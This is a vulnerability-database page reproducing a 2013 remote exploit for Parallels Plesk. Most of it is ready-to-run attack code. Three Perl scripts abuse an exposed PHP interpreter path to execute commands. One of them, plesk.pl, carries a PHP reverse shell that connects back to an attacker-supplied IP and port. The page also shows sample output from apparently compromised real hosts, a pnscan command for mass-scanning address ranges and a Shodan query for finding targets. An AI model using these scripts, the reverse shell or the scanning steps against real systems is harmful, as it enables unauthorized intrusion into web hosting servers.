Lucene search

K

Plesk < 9.5.4 - Zeroday Remote Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 211 Views

Plesk < 9.5.4 - Zeroday Remote Exploit. Configuration setting allows PHP code execution and command execution. Vulnerable on various Plesk versions and tested on RedHat, CentOS, Fedora. Logs show traces of exploit and affected OS and platforms

Show more
Related
Code

                                                Plesk Apache zeroday / June 2013
discovered & exploited by kingcope


this Plesk configuration setting makes it possible:
scriptAlias /phppath/ &#34;/usr/bin/&#34;
Furthermore this is not cve-2012-1823 because the php interpreter is called directly.
(no php file is called)

Parallels Plesk Remote Exploit -- PHP Code Execution and therefore Command Execution
Affected and tested: Plesk 9.5.4
					 Plesk 9.3
					 Plesk 9.2
					 Plesk 9.0
					 Plesk 8.6
Discovered & Exploited by Kingcope / June 2013
Affected and tested OS: RedHat, CentOS, Fedora
Affected and tested Platforms: Linux i386, Linux x86_64
Untested OS: Windows (php.exe?)
Unaffected: 11.0.9 due to compiled in protection of PHP version
Traces in /var/log/httpd/access_log: 192.168.74.142 - - [19/Mar/2013:18:59:41 +0100] &#34;POST /%70%68%70%70%61%74%68/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%
6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%
62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%
3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1&#34; 200 203 &#34;-&#34; &#34;Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)&#34;
Shodanhq overview of Plesk on Linux:
http://www.shodanhq.com/search?q=plesklin

perl plesk-simple.pl &#60;ip address&#62;
...
...
...
OK
Linux ip.unsecure.net 2.6.18-028stab101.1 #1 SMP Sun Jun 24
 19:50:48 MSD 2012 i686 i686 i386 GNU/Linux
uid=48(apache) gid=48(apache) groups=48(apache),2521(psaserv)
---
./pnscan -w&#34;GET /phppath/php HTTP/1.0\r\n\r\n&#34; -r &#34;500 Internal&#34; 76.12.54.163/16 80
perl plesk-simple.pl 76.12.81.206
HTTP/1.1 200 OK
Date: Sat, 16 Mar 2013 13:39:35 GMT
Server: Apache/2.2.3 (CentOS)
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html

77
Linux 114114.unsecureweb.com 2.6.18-308.24.1.el5 #1 SMP Tue Dec 4 17:43:34 E
ST 2012 x86_64 x86_64 x86_64 GNU/Linux

3e
uid=48(apache) gid=48(apache) groups=48(apache),2521(psaserv)

0

perl plesk-simple-ssl.pl &#60;ip&#62; (use HTTPS because HTTP gave an internal server error)
HTTP/1.1 200 OK
Date: Tue, 19 Mar 2013 15:29:28 GMT
Server: Apache/2.0.54 (Fedora)
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html

3
OK

60
Linux www.ucdavis.edu 2.6.17-1.2142_FC4 #1 Tue Jul 11 22:41:14 EDT 2006 i686 i686 i386 GNU/Linux

4c
uid=48(apache) gid=48(apache) groups=48(apache),500(webadmin),2522(psaserv)

0



use IO::Socket;
use URI::Escape;
$sock = IO::Socket::INET-&#62;new(PeerAddr =&#62; $ARGV[0],
                              PeerPort =&#62; 80,
                              Proto    =&#62; &#39;tcp&#39;);
$pwn = &#39;&#60;?php echo &#34;Content-Type:text/html\r\n\r\n&#34;;echo &#34;OK\n&#34;;system(&#34;uname -a;id;&#34;); ?&#62;&#39;;
$arguments = uri_escape(&#34;-d&#34;,&#34;\0-\377&#34;). &#34;+&#34; . 
			 uri_escape(&#34;allow_url_include=on&#34;,&#34;\0-\377&#34;). &#34;+&#34; .
			 uri_escape(&#34;-d&#34;,&#34;\0-\377&#34;). &#34;+&#34; .
			 uri_escape(&#34;safe_mode=off&#34;,&#34;\0-\377&#34;). &#34;+&#34; .
			 uri_escape(&#34;-d&#34;,&#34;\0-\377&#34;). &#34;+&#34; .
			 uri_escape(&#34;suhosin.simulation=on&#34;,&#34;\0-\377&#34;). &#34;+&#34; .
			 uri_escape(&#34;-d&#34;,&#34;\0-\377&#34;). &#34;+&#34; .
			 uri_escape(&#34;disable_functions=\&#34;\&#34;&#34;,&#34;\0-\377&#34;). &#34;+&#34; .
			 uri_escape(&#34;-d&#34;,&#34;\0-\377&#34;). &#34;+&#34; . 
			 uri_escape(&#34;open_basedir=none&#34;,&#34;\0-\377&#34;). &#34;+&#34; .
			 uri_escape(&#34;-d&#34;,&#34;\0-\377&#34;). &#34;+&#34; .
			 uri_escape(&#34;auto_prepend_file=php://input&#34;,&#34;\0-\377&#34;). &#34;+&#34; .
			 uri_escape(&#34;-n&#34;,&#34;\0-\377&#34;);
$path = uri_escape(&#34;phppath&#34;,&#34;\0-\377&#34;) . &#34;/&#34; . uri_escape(&#34;php&#34;,&#34;\0-\377&#34;);
print $sock &#34;POST /$path?$arguments HTTP/1.1\r\n&#34;
           .&#34;Host: $ARGV[0]\r\n&#34;
           .&#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;
           .&#34;Content-Length: &#34;. length($pwn) .&#34;\r\n\r\n&#34; . $pwn;
while(&#60;$sock&#62;) {
        print;
}

use IO::Socket::SSL;
use URI::Escape;
$sock = IO::Socket::SSL-&#62;new(PeerAddr =&#62; $ARGV[0],
                              PeerPort =&#62; 443,
                              Proto    =&#62; &#39;tcp&#39;);
$pwn = &#39;&#60;?php echo &#34;Content-Type:text/html\r\n\r\n&#34;;echo &#34;OK\n&#34;;system(&#34;uname -a;id;&#34;); ?&#62;&#39;;
$arguments = uri_escape(&#34;-d&#34;,&#34;\0-\377&#34;). &#34;+&#34; . 
			 uri_escape(&#34;allow_url_include=on&#34;,&#34;\0-\377&#34;). &#34;+&#34; .
			 uri_escape(&#34;-d&#34;,&#34;\0-\377&#34;). &#34;+&#34; .
			 uri_escape(&#34;safe_mode=off&#34;,&#34;\0-\377&#34;). &#34;+&#34; .
			 uri_escape(&#34;-d&#34;,&#34;\0-\377&#34;). &#34;+&#34; .
			 uri_escape(&#34;suhosin.simulation=on&#34;,&#34;\0-\377&#34;). &#34;+&#34; .
			 uri_escape(&#34;-d&#34;,&#34;\0-\377&#34;). &#34;+&#34; .
			 uri_escape(&#34;disable_functions=\&#34;\&#34;&#34;,&#34;\0-\377&#34;). &#34;+&#34; .
			 uri_escape(&#34;-d&#34;,&#34;\0-\377&#34;). &#34;+&#34; . 
			 uri_escape(&#34;open_basedir=none&#34;,&#34;\0-\377&#34;). &#34;+&#34; .
			 uri_escape(&#34;-d&#34;,&#34;\0-\377&#34;). &#34;+&#34; .
			 uri_escape(&#34;auto_prepend_file=php://input&#34;,&#34;\0-\377&#34;). &#34;+&#34; .
			 uri_escape(&#34;-n&#34;,&#34;\0-\377&#34;);
$path = uri_escape(&#34;phppath&#34;,&#34;\0-\377&#34;) . &#34;/&#34; . uri_escape(&#34;php&#34;,&#34;\0-\377&#34;);
print $sock &#34;POST /$path?$arguments HTTP/1.1\r\n&#34;
           .&#34;Host: $ARGV[0]\r\n&#34;
           .&#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;
           .&#34;Content-Length: &#34;. length($pwn) .&#34;\r\n\r\n&#34; . $pwn;
while(&#60;$sock&#62;) {
        print;
}
#CentOS/Redhat Linux: yum install perl-IO-Socket-SSL.noarch

###############################################################################################################

plesk-simple-ssl.pl

#plesk remote exploit by kingcope
#all your base belongs to me :&#62;
use IO::Socket::SSL;
use URI::Escape;
$sock = IO::Socket::SSL-&#62;new(PeerAddr =&#62; $ARGV[0],
                              PeerPort =&#62; 443,
                              Proto    =&#62; &#39;tcp&#39;);
$pwn = &#39;&#60;?php echo &#34;Content-Type:text/html\r\n\r\n&#34;;echo &#34;OK\n&#34;;system(&#34;uname -a;id;&#34;); ?&#62;&#39;;
$arguments = uri_escape(&#34;-d&#34;,&#34;\0-\377&#34;). &#34;+&#34; . 
			 uri_escape(&#34;allow_url_include=on&#34;,&#34;\0-\377&#34;). &#34;+&#34; .
			 uri_escape(&#34;-d&#34;,&#34;\0-\377&#34;). &#34;+&#34; .
			 uri_escape(&#34;safe_mode=off&#34;,&#34;\0-\377&#34;). &#34;+&#34; .
			 uri_escape(&#34;-d&#34;,&#34;\0-\377&#34;). &#34;+&#34; .
			 uri_escape(&#34;suhosin.simulation=on&#34;,&#34;\0-\377&#34;). &#34;+&#34; .
			 uri_escape(&#34;-d&#34;,&#34;\0-\377&#34;). &#34;+&#34; .
			 uri_escape(&#34;disable_functions=\&#34;\&#34;&#34;,&#34;\0-\377&#34;). &#34;+&#34; .
			 uri_escape(&#34;-d&#34;,&#34;\0-\377&#34;). &#34;+&#34; . 
			 uri_escape(&#34;open_basedir=none&#34;,&#34;\0-\377&#34;). &#34;+&#34; .
			 uri_escape(&#34;-d&#34;,&#34;\0-\377&#34;). &#34;+&#34; .
			 uri_escape(&#34;auto_prepend_file=php://input&#34;,&#34;\0-\377&#34;). &#34;+&#34; .
			 uri_escape(&#34;-n&#34;,&#34;\0-\377&#34;);
$path = uri_escape(&#34;phppath&#34;,&#34;\0-\377&#34;) . &#34;/&#34; . uri_escape(&#34;php&#34;,&#34;\0-\377&#34;);
print $sock &#34;POST /$path?$arguments HTTP/1.1\r\n&#34;
           .&#34;Host: $ARGV[0]\r\n&#34;
           .&#34;User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)\r\n&#34;           
           .&#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;
           .&#34;Content-Length: &#34;. length($pwn) .&#34;\r\n\r\n&#34; . $pwn;
while(&#60;$sock&#62;) {
        print;
}
#CentOS/Redhat Linux: yum install perl-IO-Socket-SSL.noarch


###############################################################################################################

plesk-simple.pl


#plesk remote exploit by kingcope
#all your base belongs to me :&#62;
use IO::Socket;
use URI::Escape;
$sock = IO::Socket::INET-&#62;new(PeerAddr =&#62; $ARGV[0],
                              PeerPort =&#62; 80,
                              Proto    =&#62; &#39;tcp&#39;);
$pwn = &#39;&#60;?php echo &#34;Content-Type:text/html\r\n\r\n&#34;;echo &#34;OK\n&#34;;system(&#34;uname -a;id;&#34;); ?&#62;&#39;;
$arguments = uri_escape(&#34;-d&#34;,&#34;\0-\377&#34;). &#34;+&#34; . 
			 uri_escape(&#34;allow_url_include=on&#34;,&#34;\0-\377&#34;). &#34;+&#34; .
			 uri_escape(&#34;-d&#34;,&#34;\0-\377&#34;). &#34;+&#34; .
			 uri_escape(&#34;safe_mode=off&#34;,&#34;\0-\377&#34;). &#34;+&#34; .
			 uri_escape(&#34;-d&#34;,&#34;\0-\377&#34;). &#34;+&#34; .
			 uri_escape(&#34;suhosin.simulation=on&#34;,&#34;\0-\377&#34;). &#34;+&#34; .
			 uri_escape(&#34;-d&#34;,&#34;\0-\377&#34;). &#34;+&#34; .
			 uri_escape(&#34;disable_functions=\&#34;\&#34;&#34;,&#34;\0-\377&#34;). &#34;+&#34; .
			 uri_escape(&#34;-d&#34;,&#34;\0-\377&#34;). &#34;+&#34; . 
			 uri_escape(&#34;open_basedir=none&#34;,&#34;\0-\377&#34;). &#34;+&#34; .
			 uri_escape(&#34;-d&#34;,&#34;\0-\377&#34;). &#34;+&#34; .
			 uri_escape(&#34;auto_prepend_file=php://input&#34;,&#34;\0-\377&#34;). &#34;+&#34; .
			 uri_escape(&#34;-n&#34;,&#34;\0-\377&#34;);
$path = uri_escape(&#34;phppath&#34;,&#34;\0-\377&#34;) . &#34;/&#34; . uri_escape(&#34;php&#34;,&#34;\0-\377&#34;);
print $sock &#34;POST /$path?$arguments HTTP/1.1\r\n&#34;
           .&#34;Host: $ARGV[0]\r\n&#34;
           .&#34;User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)\r\n&#34;
           .&#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;
           .&#34;Content-Length: &#34;. length($pwn) .&#34;\r\n\r\n&#34; . $pwn;
while(&#60;$sock&#62;) {
        print;
}


###############################################################################################################

plesk.pl

#plesk remote exploit by kingcope
#all your base belongs to me :&#62;
use IO::Socket;
use IO::Socket::SSL;
use URI::Escape;
sub usage {
 print &#34;usage: $0 &#60;target&#62; &#60;http/https&#62; &#60;local_ip&#62; &#60;local_port&#62;\n&#34;;exit;
}
if (!defined($ARGV[3])){usage();}
$target=$ARGV[0];
$proto=$ARGV[1];
if ($proto eq &#34;http&#34;) {
$sock = IO::Socket::INET-&#62;new(
 PeerAddr =&#62; $ARGV[0],
 PeerPort =&#62; 80,
 Proto =&#62; &#39;tcp&#39;);
}elsif ($proto eq &#34;https&#34;) {
$sock = IO::Socket::SSL-&#62;new(
 PeerAddr =&#62; $ARGV[0],
 PeerPort =&#62; 443,
 Proto =&#62; &#39;tcp&#39;);
}else {usage();}
$lip=$ARGV[2];
$lport=$ARGV[3];
$pwn=&#34;&#60;?php echo \&#34;Content-Type: text/plain\r\n\r\n\&#34;;set_time_limit (0); \$VERSION = \&#34;1.0\&#34;; \$ip =
&#39;$lip&#39;;  \$port = $lport; \$chunk_size = 1400; \$write_a = null;
\$error_a = null; \$shell = &#39;/bin/sh -i&#39;; \$daemon =
0;\$debug = 0; if (function_exists(&#39;pcntl_fork&#39;)) { \$pid =
pcntl_fork(); if (\$pid == -1) { printit(\&#34;ERROR: Can&#39;t fork\&#34;);
exit(1);} if (\$pid) { exit(0);} if (posix_setsid() == -1) {
printit(\&#34;Error: Can&#39;t setsid()\&#34;); exit(1); } \$daemon = 1;} else {
printit(\&#34;WARNING: Failed to daemonise.  This is quite common and not
fatal.\&#34;);}chdir(\&#34;/\&#34;); umask(0); \$sock = fsockopen(\$ip, \$port,
\$errno, \$errstr, 30);if (!\$sock) { printit(\&#34;\$errstr (\$errno)\&#34;);
exit(1);} \$descriptorspec = array(0 =&#62; array(\&#34;pipe\&#34;, \&#34;r\&#34;),1 =&#62;
array(\&#34;pipe\&#34;, \&#34;w\&#34;), 2 =&#62; array(\&#34;pipe\&#34;, \&#34;w\&#34;));\$process =
proc_open(\$shell, \$descriptorspec, \$pipes);if
(!is_resource(\$process)) { printit(\&#34;ERROR: Can&#39;t spawn shell\&#34;);
exit(1);}stream_set_blocking(\$pipes[0],
0);stream_set_blocking(\$pipes[1], 0);stream_set_blocking(\$pipes[2],
0);stream_set_blocking(\$sock, 0);while (1) {    if (feof(\$sock)) {
printit(\&#34;done.\&#34;); break;} if
(feof(\$pipes[1])) {printit(\&#34;done.\&#34;);break;}\$read_a = array(\$sock, \$pipes[1],
\$pipes[2]);\$num_changed_sockets = stream_select(\$read_a, \$write_a,
\$error_a, null);if (in_array(\$sock, \$read_a)) {if (\$debug)
printit(\&#34;SOCK READ\&#34;);\$input = fread(\$sock,
\$chunk_size);if(\$debug) printit(\&#34;SOCK:
\$input\&#34;);fwrite(\$pipes[0], \$input);}if (in_array(\$pipes[1],
\$read_a)) {if (\$debug) printit(\&#34;STDOUT READ\&#34;);\$input =
fread(\$pipes[1], \$chunk_size);if (\$debug) printit(\&#34;STDOUT:
\$input\&#34;);fwrite(\$sock, \$input);}if (in_array(\$pipes[2],
\$read_a)) {if (\$debug) printit(\&#34;STDERR READ\&#34;);\$input =
fread(\$pipes[2], \$chunk_size);    if (\$debug) printit(\&#34;STDERR:
\$input\&#34;);fwrite(\$sock,
\$input);}}fclose(\$sock);fclose(\$pipes[0]);fclose(\$pipes[1]);fclose(\$pipes[2]);proc_close(\$process);function printit (\$string) {if (!\$daemon) {print
\&#34;\$string\n\&#34;;}}
?&#62;&#34;;
$arguments=uri_escape(&#34;-d&#34;,&#34;\0-\377&#34;). &#34;+&#34; .
 uri_escape(&#34;allow_url_include=on&#34;,&#34;\0-\377&#34;). &#34;+&#34; .
 uri_escape(&#34;-d&#34;,&#34;\0-\377&#34;). &#34;+&#34; .
 uri_escape(&#34;safe_mode=off&#34;,&#34;\0-\377&#34;). &#34;+&#34; .
 uri_escape(&#34;-d&#34;,&#34;\0-\377&#34;). &#34;+&#34; .
 uri_escape(&#34;suhosin.simulation=on&#34;,&#34;\0-\377&#34;). &#34;+&#34; .
 uri_escape(&#34;-d&#34;,&#34;\0-\377&#34;). &#34;+&#34; .
 uri_escape(&#34;disable_functions=\&#34;\&#34;&#34;,&#34;\0-\377&#34;). &#34;+&#34; .
 uri_escape(&#34;-d&#34;,&#34;\0-\377&#34;). &#34;+&#34; .
 uri_escape(&#34;open_basedir=none&#34;,&#34;\0-\377&#34;). &#34;+&#34; .
 uri_escape(&#34;-d&#34;,&#34;\0-\377&#34;). &#34;+&#34; .
 uri_escape(&#34;auto_prepend_file=php://input&#34;,&#34;\0-\377&#34;). &#34;+&#34; .
 uri_escape(&#34;-n&#34;,&#34;\0-\377&#34;);
$path=uri_escape(&#34;phppath&#34;,&#34;\0-\377&#34;). &#34;/&#34; . uri_escape(&#34;php&#34;,&#34;\0-\377&#34;);
print $sock &#34;POST /$path?$arguments HTTP/1.1\r\n&#34;.
 &#34;Host: $ARGV[0]\r\n&#34;.
 &#34;User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)\r\n&#34;.
 &#34;Content-Type: text/plain\r\n&#34;.
 &#34;Content-Length: &#34;. length($pwn) .&#34;\r\n\r\n&#34;. $pwn;
while(&#60;$sock&#62;){print $_;};


###############################################################################################################

                              

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo